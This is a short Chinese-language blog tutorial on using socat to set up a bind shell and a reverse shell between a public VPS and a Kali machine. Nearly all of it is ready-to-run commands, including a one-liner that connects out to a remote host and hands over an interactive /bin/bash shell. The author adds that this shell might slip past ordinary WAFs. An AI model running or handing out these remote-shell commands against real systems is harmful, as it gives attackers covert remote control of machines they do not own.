编程开源技术交流,分享技术与知识

网站首页 > 开源技术 正文

利用socat实现正向和反向shell(反向shell是什么意思)

wxchong 2024-09-16 07:01:58 开源技术 10 ℃ 0 评论

两台机器。第一台vps,ubuntu系统,公网IP。一台kali机,内网IP。

两台机器都sudo apt install socat。

一、socat正向shell。

VPS:socat TCP-LISTEN:12345,bind=0.0.0 EXEC:"/bin/bash",pty,stderr,setsid,sigint,sane

监听12345端口,提前是你要在VPS里防火墙开通12345端口。

KALI:socat file:`tty`,raw,echo=0 tcp:VPS的IP:12345

KALI里可以正向连接VPS了。

这样似乎比开放ssh端口还要方便快捷。


二、SOCAT反向shell

VPS:socat file:`tty`,raw,echo=0 tcp-listen:12345,bind=0.0.0.0,reuseaddr,fork

kali:socat TCP:VPS的IP:12345 EXEC:"/bin/bash",pty,stderr,setsid,sigint,sane

VPS上就会收到KALI的shell。


这个shell外貌比较好看。可能会躲过一些常规的waf吧,具体没测试。

好久没有写文章了,我以后会多写一点原创性质的。

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表